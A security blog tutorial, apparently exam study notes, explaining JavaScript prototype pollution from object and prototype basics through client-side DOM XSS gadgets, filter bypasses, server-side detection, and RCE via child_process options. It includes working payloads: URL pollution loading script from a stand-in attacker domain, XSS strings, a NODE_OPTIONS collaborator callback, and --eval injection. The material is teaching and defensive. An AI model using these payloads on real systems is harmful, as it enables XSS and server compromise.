Skip to main content
  1. Posts/

Prototype Pollution - Applied Review

·25 mins
web BSCP
Table of Contents

What is Prototype Pollution?
#

This type of vulnerability allows attackers to add arbitrary properties to global object prototypes that can be inherited by user-defined objects.

This is often unexploitable as a standalone vulnerability, but it allows attackers to control properties of objects that would otherwise be inaccessible. If these properties are user-controlled and are handled in an unsafe way, this can potentially be chained together with other vulnerabilities. This can often lead to DOM-XSS in client-side contexts and server-side pollution can sometimes allow for remote code execution.

Understanding JavaScript Concepts
#

JavaScript uses a prototypal inheritance model, which is a bit different than class-based models.

What is a JS Object?
#

JS objects are essentially collections of key:value pairs known as properties. For example we might represent a user like this:

const user =  {
    username: "gabe",
    userId: 01234,
    isAdmin: false
}

You can access the properties by using dot notation or bracket notation to refer to respective keys:

user.username     // "gabe"
user['userId']    // 01234

These properties can also include executable functions:

const user =  {
    username: "gabe",
    userId: 01234,
    exampleMethod: function(){
        // do something
    }
}

The example here is called an object literal, which just means it was made with the curly brace syntax to explicitly declare its properties and initial values.

What is a JS Prototype?
#

Every object in JavaScript is linked to another object of some kind, which is known as its prototype. JS automatically assigns new objects to a built-in prototype. For example, a string would be associated with the global prototype called String.prototype.

Objects will automatically inherit all of the properties of their assigned prototypes if they have not already been assigned their own property with the same key. This enables developers to reuse properties and methods of pre-existing objects.

The built-in prototypes provide useful properties when working with basic data types. One example of this is how the String.prototype object has a toLowerCase() method, meaning all strings by default can have these transformations applied to them.

Understanding Inheritance
#

Whenever you reference a property of a certain object (like the name property of a user object), JS first tries to access the object directly to get the details for that property. If this object doesn’t have a matching property, JS defers to the object’s prototype.

We can see this in action with a modern browser, first we can create an empty object:

let myObject = {};

Then, type myObject followed by a dot character and you’ll be shown a list of properties and methods to use:

proto-1

Even though we did not define any of these properties or methods for ourselves, our object has inherited some of the built-in properties and methods from the Object.prototype.

Prototype Chains
#

Now, prototypes are just other objects that have their own prototypes and so on. This can lead us all the way back to some top-level Object.prototype that has a single null property.

The important thing here is that objects inherit properties from all the objects above them in the prototype chain. So if we made a username that inherited methods from String.prototype, it would also inherit methods and functions from Object.prototype because it sits above String.prototype in the chain.

Accessing Prototypes
#

Every object has a special property, typically called __proto__ that lets you access its prototype. As before, we can access it using either bracket or dot notation:

username.__proto__
username['__proto__']

You can chain references to __proto__ to reference specific prototypes up the chain:

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

Modifying Prototypes
#

You can also modify JavaScript’s built-in prototypes like any other object, which allows developers to override the behavior of built-in methods or add new methods.

One example of this might be the trim() method for strings, which lets you remove leading or trailing whitespace. Before this was built-in, many developers would implement it themselves by editing the String.prototype object like this:

String.prototype.removeWhitespace = function(){
    // remove leading and trailing whitespace
}

And because of the prototype inheritance we discussed, all strings would have access to that method:

let searchTerm = "  example ";
searchTerm.removeWhitespace();    // "example"

Now that we’ve gone over the basics of JS objects, methods, prototypes, and inheritance we can go on to learn about vulnerabilities.

Why is it Vulnerable?
#

Vulnerabilities typically arise when a JS function recursively merges an existing object with another object that contains user-controllable properties without sanitizing the keys being used.

What a headache of an explanation, I’ll try to explain it better.

Imagine a recipe book where each recipe references techniques defined by a master cookbook (the prototype). A specific recipe (object) might reference information from the master book like how long to bake something or which standard ingredients to use.

We (the attacker) can scribble details in the margins of the master book to edit ingredients and measurements. These are the user-controllable properties.

If more recipes are being added to the catalog of recipes that inherit properties from the master book, our notes from the margin might het build-in to those new recipes. This would reflect the recursive merging and key sanitization process.

Here is a more technical example, we have the master cookbook and a cake recipe object:

// Master Cookbook - Prototype
const MasterCookbook = {
  bake: (temp, time) => `Bake for ${time} minutes at ${temp}°C`,
  mix: (ingredients) => `Mix together: ${ingredients.join(', ')}`,
};

// Cake Recipe - Object inheriting from Master Cookbook
const ChocolateCake = Object.create(MasterCookbook);
ChocolateCake.ingredients = ['flour', 'sugar', 'cocoa', 'eggs'];

console.log(ChocolateCake.bake(180, 30)); // Output: "Bake for 30 minutes at 180°C"

If we as attackers scribble in the margins by accessing the prototype being used, we can modify the behavior of other recipes that inherit properties from the parent prototype.

// Attacker scribbles in the margins (user input)
MasterCookbook.__proto__.bake = (temp, time) => `Oops! Wrong recipe!`; // Malicious property

// Another recipe unknowingly uses the modified cookbook
const BananaBread = Object.create(MasterCookbook);
BananaBread.ingredients = ['flour', 'sugar', 'bananas', 'nuts'];

console.log(BananaBread.bake(170, 25)); // Output: "Oops! Wrong recipe!" (attack successful)

If this master book is incorporated into other recipes by the process of merging, then the user-controlled properties might also be inherited.

// Unsafe function for combining recipes (recursive merging)
function combineRecipes(base, mixins) {
  for (const key in mixins) {
    base[key] = mixins[key]; // No property name check
  }
  return base;
}

// Attacker creates a "special" mixin
const AttackerMixin = { __proto__: { bake: () => alert('Hacked!') } };

// Combining recipes unsafely includes the attacker's mixin
const FinalRecipe = combineRecipes(ChocolateCake, AttackerMixin);

FinalRecipe.bake(); // Alert pops up due to prototype pollution

This made more sense to me in the moment of initially learning the concept. I hope it helps!

If an attacker injects a property with a key like __proto__, the merge might assign nested properties to the item’s prototype instead of the target object itself.

The attacker can pollute the prototype with harmful values that are used in a dangerous way. While you can pollute any prototype object in the right circumstance, it is most common with the built-in global Object.prototype object.

In order to exploit this, you need:

  • A prototype pollution source: any input that lets you poison the objects with arbitrary properties.
  • A sink: a JS function or DOM element that lets you execute arbitrary code.
  • An exploitable gadget: A property that is passed into a sink without proper filtering or sanitization.

Prototype Pollution Sources
#

Sources are any user-controllable input that lets you add arbitrary properties to prototype objects. The most common are in the URL, JSON-based inputs, or web messages.

Pollution in the URL
#

The following URL contains an attacker-constructed query string:

https://vulnerable.com/?__proto__[evilProperty]=payload

At some point, the recursive merge operation might assign the value of evilProperty using a statement like this:

targetObject.__proto__.evilProperty = 'payload';

During the assignment, the JS engine treats __proto__ as a getter for the prototype and as a result the evilProperty is assigned to the returned prototype instead of the target object. Assuming that the target object uses the default Object.prototype, all objects in the JavaScript runtime will now inherit evilProperty, unless they already have a property of their own with a matching key.

Pollution via JSON Inputs
#

User controllable objects are often derived from JSON strings using the JSON.parse() method. This also treats JSON objects as arbitrary strings, which provides a potential vector for prototype pollution.

If the following JSON is injected via a web message, the object might get converted into JS using the JSON.parse() method:

{
    "__proto__": {
        "evilProperty": "payload"
    }
}

This conversion might result in the final objecting having the __proto__ property:

const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectLiteral.hasOwnProperty('__proto__');     // false
objectFromJson.hasOwnProperty('__proto__');    // true

If this object is then merged into an existing object without proper key sanitization, then there would be prototype pollution during the assignment.

Prototype Pollution Sinks
#

A prototype pollution sink is just a JS function or DOM element that you can access via prototype pollution. This lets you execute JS or system commands.

This is because prototype pollution lets us control properties that would otherwise be inaccessible, this means that there are more sinks available to us than there might otherwise be.

Prototype Pollution Gadgets
#

A gadget might provide the means of turning a prototype pollution vulnerability into an actual exploit. Any property that is:

  • Used by an application in an unsafe way, like passing it to a sink without proper filtering of sanitization.
  • Attacker-controllable via prototype pollution, where the object can inherit malicious versions of the property added to the prototype by an attacker.

A property cannot be a gadget if it is defined within the object itself. This means that the object’s own version of the property takes precedence over any malicious versions that you can add to the prototype.

Lots of sites also explicitly set the prototype of the object to null, which ensures that it doesn’t inherit any properties at all.

Example of a Pollution Gadget
#

Many JS libraries accept an object that developers can use to set different configurations. The library will often check to see if the developer has added certain properties to the object and adjusts the configuration accordingly.

If a property that represents an option is not present, the default will often be used instead. Here is what that might look like:

let transport_url = config.transport_url || defaults.transport_url;

Imagine that this library uses transport_url to add a script reference to a page:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

If the developer does not set a transport_url property on their config object, this is a potential gadget.

If we can pollute the Object.prototype with our own transport_url property, then it will be inherited by the config object and will be set as the src for the script to a domain we choose.

If we can pollute the prototype using a query parameter, we would just need a victim to visit a URL that causes the browser to import a malicious JS file from our domain:

https://vulnerable.com/?__proto__[transport_url]=//evil-user.net

By providing a data: URL, we can directly embed XSS payloads into the query string like this:

https://vulnerable.com/?__proto__[transport_url]=data:,alert(1);//

Client-Side Prototype Pollution
#

We need to cover first how to find these vulnerabilities manually to make sure we understand why they are there and how we can find them reliably without tools.

Finding Sources Manually
#

Finding these manually may likely be trial and error because we need to try a bunch of different ways to add a property to Object.prototype until a source we choose works.

The high-level steps are as follows:

  • Try to inject an arbitrary property via a query string, URL fragment, or JSON input.
  • Inspect Object.prototype in our browser to see if it was successfully polluted.
  • If the property wasn’t added to the prototype, then we might need to try switching the notation we use or a different technique.
  • Repeat this for every potential source.

Find Sources with the DOM Invader
#

The instructions found here are pretty perfect on how to use it and verify but I will draft up a short version here.

Use the burp suite extension and under DOM Invader, make sure that prototype pollution is toggled on. The invader will automatically check the page for sources that let us add properties to Object.prototype. It will show up in the DOM Invader tab of the inspector tab for our browser:

proto-2

You can then use the Test button to open another tab that will test that source it found. We can then use some commands to verify if it worked:

proto-3

In the console, we can hit the dropdown arrow to see the proof-of-concept testproperty object. We can test to see if it was added by making a new object and then checking for the arbitrary property.

We make an object like this:

let myObject = {};

Then we see if the testproperty was inherited like this:

console.log(myObject.testproperty);

If the output matches the value of testproperty made by the DOM Invader, then we can pollute.

If you then find a gadget to exploit, we could get some actual malicious behavior triggered.

Finding Gadgets Manually
#

Once we’ve found a source that lets us add an arbitrary parameter to the global Object.prototype object, we need to find a gadget that we can use to make an exploit. To do this we need to:

  • Look through the source code and look for properties that are used by the application and any libraries that it imports.
  • In Burp, enable intercept server responses and analyze the JS you want to test.
  • Add a debugger statement to the start of the script and forward remaining requests.
  • In the browser, see where the target script is loaded and debuger should pause execution of the script.
  • While paused, use the console to generate a stack trace for when the gadget runs.
  • Continue execution of the script and jump to the line of code where the property is read.
  • See if the property is being passed to a sink like innerHTML or eval().
  • Repeat for any properties that are potential gadgets

Again, pretty tedious and time-consuming.

Find Gadgets with the DOM Invader
#

Once you’ve found a prototype that you can pollute, next you just need to slick on the button labeled Scan for Gadgets and it will open another tab that will look like this:

proto-4

Before using the Exploit number to try and get it working, notice how the 1 character is appended to our canary. Let’s look at the JS and see why that is happening:

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }

So our payload ends up in the eval() sink but the 1 character is appended to our input. We can remedy this by just running the exploit, but placing a - character to cause a syntax error, while still executing the JS alert(1) payload.

Pollution via the Constructor
#

So far we have only investigated using the __proto__ accessor property. A common defense used for this is to strip properties that use this as a key before merging them. This is flawed though, because there are alternate ways to reference the Object.prototype without relying on that string.

Unless the prototype is set to null, every JS object has a constructor property which has a reference to the function that created it. For example, we can make an object by calling the Object() constructor:

let myObjectLiteral = {};
let myObject = new Object();

You can reference the Object() constructor using the built-in property:

myObjectLiteral.constructor            // function Object(){...}
myObject.constructor                   // function Object(){...}

Remember that functions are also just objects at their core. Each constructor has a prototype property that points to the prototype that is assigned to objects made by its constructor.

This quirk allows you to access the prototype for any object:

myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

Because myObject.constructor.prototype is equivalent to myObject.__proto__, it provides an alternative vector for prototype pollution.

Bypassing Flawed Key Sanitization
#

One other way websites attempt to stop prototype pollution is by sanitizing the property keys before merging occurs. One common mistake that developers make here is to sanitize the input string recursively. Consider this URL:

vulnerable.com/?__pro__proto__to__.gadget=payload

If the sanitization process strips the __proto__ without repeating that process again, then the resulting URL still works to deliver our payload.

This might be implemented like this in JS:

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

It doesn’t recursively apply this filter so we can (in this case) include a URL like the one described before and check the Object.prototype in the console to see if it worked.

Next, you’d need to find an exploitable gadget. One of the other functions available on this site allows us to enter a URL as a parameter called transport_url:

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

Because of how this is used you can try using a URL parameter like:

vulnerable.com/?__pro__proto__to__[transport_url]=foo

In this case, we see it get reflected in between some script tags and we can use this to achieve some XSS using this URL:

vulnerable.com/?__pro__proto__to__[transport_url]=data:,alert(1)

This process just involves the same steps as before, where we find a source, identify a vulnerable gadget, then use it to exploit some XSS.

Pollution in External Libraries
#

Some gadgets from third-party libraries might be able to be used for prototype pollution. The DOM Invader is super useful for finding these.

Pollution via Browser APIs
#

There are a number of prototype pollution gadgets in JS APIs commonly used in browsers. We can sometimes exploit these to get DOM XSS triggered.

Pollution via fetch()
#

The Fetch API provides one simple way for developers to trigger HTTP requests using JS. The fetch() method takes two arguments: the URL you want to send the request to and an options object that lets you control parts of that request.

Here is an example of implementing a POST request using fetch():

fetch('https://normal.com/my-account/change-email', {
    method: 'POST',
    body: 'user=gabectf&email=gabe%40coolmail.com'
})

This implementation defined the method and body properties to offer us some control over the request being sent.

There are other properties that are left undefined though and if we are able to find a suitable source, we might be able to pollute Object.prototype with our own headers property. This would hopefully be inherited by the options object that is passed to fetch() and would be used when generating the request.

This could be used to exploit DOM XSS, here is an example of a vulnerable implementation:

fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);

In this implementation, the x-username header will be reflected on the page source in between some <b> tags and you could exploit this with the following URL:

vulnerable.com/?__proto__[headers][x-username]=<img/src/onerror=alert(1)>

This would pollute the Object.prototype to include our payload in the header that will be inherited in that fetch() method. This is passed to the innerHTML sink and results in DOM XSS.

Pollution via Object.defineProperty()
#

Some developers might try to block prototype pollution by using the Object.defineProperty() method. This lets you set a non-configurable, non-writable property that is called directly as follows:

Object.defineProperty(vulnerableObject, 'gadgetProperty', {
    configurable: false,
    writable: false
})

This approach is inherently flawed though because it accepts an options object, known as a descriptor. This is typically used to set an initial value for a property that is being defined - but because this property is often only being defined as a countermeasure, the developers might not bother to set a value.

We might be able to pollute the value property for Object.prototype and get it passed to Object.defineProperty().

Server-Side Prototype Pollution
#

JavaScript was designed to be a client-side language that runs in the browser, but the introduction of server-side runtimes like NodeJS caused JavaScript to be widely used to build servers, APIs, and other back-end applications. This means that they are also possibly vulnerable to prototype pollution.

Hard to Detect…
#

You might be thinking: If we can’t read the source JS being used, won’t it be pretty tough to find vulnerabilities? and the answer is pretty much yes. We don’t have access to source code, the browser dev tools, and if we break the application we might cause a DoS issue when testing. It is also easier to test client-side because we can easily reverse our changes, but server-side pollution will persist until a developer notices it and implements a fix.

Detection via Property Reflection
#

One trap a lot of JS developers fall into is the fact that a for...in loop iterates over all of an object’s enumerable properties - including those inherited by the prototype chain.

You could test it out like this:

const myObject = { a: 1, b: 2 };

// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';

// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false

// list names of properties of myObject
for(const propertyKey in myObject){
    console.log(propertyKey);
}

// Output: a, b, foo

This also applies to arrays, in a similar way. The important thing is that we can use the application’s returned properties to probe for pollution.

POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it is common for servers to respond with a JSON representation of the newly updated object.

You could try to pollute the Object.prototype with an arbitrary property like this:

POST /user/update HTTP/1.1
Host: vulnerable.com
...
{
    "user":"gabe",
    "firstName":"Gabe",
    "lastName":"Roy",
    "__proto__":{
        "foo":"bar"
    }
}

If the site is vulnerable, the returned object will have our injected property:

HTTP/1.1 200 OK
...
{
    "username":"gabe",
    "firstName":"Gabe",
    "lastName":"Roy",
    "foo":"bar"
}

In some cases the site may use these properties to generate some HTML which could lead us to a sink. If we identify this as possible, then we can follow the typical process of looking or a vulnerable gadget. Any features that update user data are worth investigating.

Detection without Reflection
#

Of course, having the parameters reflected in the response is sorta easy mode and we probably won’t be able to actually see the affected property in the response. This makes it a lot tougher to see if the injection actually worked.

We could try injecting properties that match the potential configuration of the server and use the response to see what changes appear. If some change is observed then we might have a server-side prototype pollution vulnerability.

There are multiple non-destructive (important!) techniques to achieve this that we will go over:

  • Status code override
  • JSON spaces override
  • Charset override

Status Code Override
#

Server-side JS frameworks like ExpressJS allow developers to set custom HTTP response statuses. If an error occurs then a JS server might issue a generic HTTP response but include some error object in the body using JSON format.

This is one way to provide extra details about the error but you will also often get 200 responses that contain an error object:

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

NodeJS uses the http-errors module’s createError() function to generate this kind of response:

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status //assigns the status by reading the properties passed to the function
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) {
        status = 500
    }
    //...

If the website’s developers haven’t explicitly set the status property for an error, you might be able to use it to probe by following these steps:

  • Find a way to trigger an error and take note of the response code.
  • Try polluting the prototype with your own status property.
  • Trigger the error and see if the status code was overridden.

JSON Space Override
#

The Express framework provides a json spaces option that lets you determine the number of spaces to use when indenting JSON data in a response. This is typically left undefined by developers and it might be susceptible for pollution.

If you can access a JSON response, try polluting the number of spaces being used and see if the response reflects the change. This is one of the easier methods to pull off but it has been patched since Express 4.17.4 was released.

Charset Override
#

Express services often use middleware modules that process requests before they are passed to the handler functions. For example, the body-parser module is often used to parse the body of requests to make a req.body object. Of course, there needs to be a way to determine which character encoding to use and the encoding option passed through the read() function does just that. This is typically derived from the getCharset(req) function call and it might be implemented like this:

var charset = getCharset(req) || 'utf-8'

function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

Developers for this appear to have anticipated that the Content-Type header will not have an explicit charset attribute but if this happens the input will be reverted to an empty string.

This means that we might be able to control it by way of prototype pollution by following these steps:

  • Add an arbitrary UTF-7 encoded string to a property that is reflected in the response.
  • Send the request and see if the string appears in its encoded form.
  • Try to pollute the prototype with a content-type property that specifies the UTF-7 charset.
  • If this worked and polluted the content-type property, when you repeat the first request the UTF-7 string should get decoded.

Scanning for Sources
#

There is a useful extension in Burp Suite called Server-Side Prototype Pollution Scanner. You just need to install it, explore the target site that you’ve added to your scope, then send some requests to the extension to begin a scan. More information and tips on usage can be found here.

Bypassing Input Filters
#

Websites will often try to prevent pollution issues by filtering suspicious keys like __proto__. This isn’t the most robust long-term solution because we can sometimes:

  • Obfuscate prohibited keywords to be missed during sanitization.
  • Access the prototype via the constructor property instead of __proto__ like we did earlier.

One example might be by using the following JSON payload to utilize constructor and json spaces to determine if it worked:

"constructor": {
    "prototype": {
        "json spaces":10,
        "isAdmin":"true"
    }
}

Remote Code Execution via Server-Side Prototype Pollution
#

Client-side prototype pollution typically exposes DOM XSS, but server-side pollution more often exposes some RCE vulnerabilities.

Identifying Vulnerable Requests
#

There are a number of potential command injection sinks in NodeJS, may of which are in the child_process module. The best way to find these is to trigger some pollution where the payload calls back to your Burp collaborator.

The NODE_OPTIONS environment variable lets you define a string of command line arguments that are used by default when starting a Node process. This property is also on the env object and we might be able to control it using pollution if it was left undefined.

One good property to use is the shell property that lets developers set a specific shell to use when running commands. If you combine this with a malicious NODE_OPTIONS property, you could trigger an interaction with your collaborator when a new process is created:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

RCE via child_process.fork()
#

Methods like child_process.spawn() and child_process.fork() allow developers to create new Node sub-processes. The fork() method accepts an options object which has an execArgv property. This property is just an array of strings that contain command line arguments used to spawn the child process. As always, if this is undefined, we can possibly pollute it.

Exploiting this with JSON input might look like this:

"execArgv": [
    "--eval=require('<module>')"
]

In addition to fork(), the child_process module contains the execSync() method, which executes an arbitrary string as a system command. By chaining these JavaScript and command injection sinks, you could probably gain full RCE on the victim server.

RCE via child_process.execSync()
#

Just like fork(), the execSync() method also accepts the options object as an input and could possible be polluted. This doesn’t accept the same execArgv property though. We can still probably inject system commands into a child process with the shell and input properties.

  • The input option is a string passed to the child object’s stdin stream. If this is undefined we can pollute it as usual.
  • The shell option lets us declare which shell to run a command in, and execSync() uses the system’s default to run commands so this might be undefined.

Polluting both of these could override the command that the developers intended to execute when designing the application. There are some caveats to keep in mind though:

  • The shell option needs the name of the shell executable and always uses the -c argument with no other arguments. You’ll need to come up with a workaround to execute something other than the defined command.
  • The input property containing the payload via stdin needs to accept commands from stdin in order to work properly.

You could use something like vim and then escape to that program’s default shell in some scenarios.

Prevention
#

Lots of the remediation/prevention here is implementation-specific so we need to go over the high-level strategies to prevent these issues.

  • Sanitize Keys: sanitize your keys like __proto__ in a robust way or use an allow list of keys if you are able to.
  • Prevent Changes to Prototype Objects: A robust approach to this issue is using the Object.freeze() method on an object to ensure that its properties and their values can no longer be modified, and no new properties can be added.
  • Prevent Inheritance: When defining an options object, you could use a Map instead. Maps can still inherit malicious properties but they do have a built-in get() method that only returns properties that are defined directly on the map itself.

Related

JWT Attacks - Applied Review
·19 mins
web BSCP
What is a JWT? # JSON web tokens (JWTs) are a standardized way to send some kind of cryptographically signed JSON data between systems.
HTTP Host Header Attacks - Applied Review
·11 mins
web BSCP
What is the HTTP Host Header? # HTTP host headers are mandatory request headers that specify the domain name the client is trying to access.
OAuth Vulnerabilities - Applied Review
·22 mins
web BSCP
What is OAuth? # If you&rsquo;ve ever looked around the web and found a site that allows you to sign in with your social media account, chances are that the feature being used there was build on the OAuth 2.